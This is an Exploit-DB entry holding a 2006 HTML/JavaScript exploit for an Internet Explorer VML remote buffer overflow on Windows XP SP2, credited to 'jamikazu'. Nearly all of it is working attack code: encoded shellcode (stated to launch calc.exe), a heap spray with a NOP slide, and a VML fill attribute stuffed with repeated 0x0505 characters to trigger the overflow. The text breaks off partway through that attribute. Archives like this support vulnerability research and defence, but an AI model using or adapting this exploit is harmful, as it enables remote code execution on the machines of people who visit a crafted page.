Exploit-DB #2425
Description: Microsoft Internet Explorer (Windows XP SP2) - 'VML' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-09-24
Author: jamikazu

Exploit:
<!--

..::[ jamikazu presents ]::..

Microsoft Internet Explorer VML Remote Buffer Overflow Exploit (0day)
Works on all Windows XP versions including SP2

Author: jamikazu 
Mail: jamikazu@gmail.com

Credit: metasploit, SkyLined

invokes calc.exe if successful 


-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;

	var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

	var heapBlockSize = 0x400000;

	var payLoadSize = payLoadCode.length * 2;

	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

	var spraySlide = unescape("%u9090%u9090");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);

	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}



	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</script>                                                                                                                                                            
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method  = "&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x050